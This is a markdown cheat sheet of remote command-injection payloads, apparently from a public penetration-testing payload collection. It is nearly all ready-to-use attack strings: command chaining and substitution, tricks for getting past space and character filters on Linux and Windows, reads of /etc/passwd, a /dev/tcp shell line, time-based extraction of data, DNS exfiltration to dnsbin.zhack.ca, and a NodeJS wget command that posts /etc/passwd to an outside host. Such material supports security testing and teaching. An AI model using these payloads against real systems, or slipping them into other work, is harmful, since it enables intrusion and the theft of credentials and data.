# Remote Commands Execution
Remote Commands execution is a security vulnerability that allows an attacker to execute Commandss from a remote server.


## Exploits
Normal Commands execution, execute the command and voila :p
```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
```

Commands execution by chaining commands
```
original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
original_cmd_by_server || ls    Only if the first cmd fail
```

Commands execution inside a command
```
original_cmd_by_server `cat /etc/passwd`
original_cmd_by_server $(cat /etc/passwd)
```

Commands execution without space - Linux
```
swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu

swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
```

Commands execution without space - Windows
```
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```


Commands execution without spaces, $ or { } - Linux (Bash only)
```
IFS=,;`cat<<<uname,-a`
```

Commands execution with a line return
```
something%0Acat%20/etc/passwd
```

## Time based data exfiltration
Extracting data : char by char
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real	0m5.007s
user	0m0.000s
sys	0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real	0m0.002s
user	0m0.000s
sys	0m0.000s
```


## DNS based data exfiltration
Based on the tool from https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "http://$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

## Environment based
NodeJS Commands execution
```
require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')
```
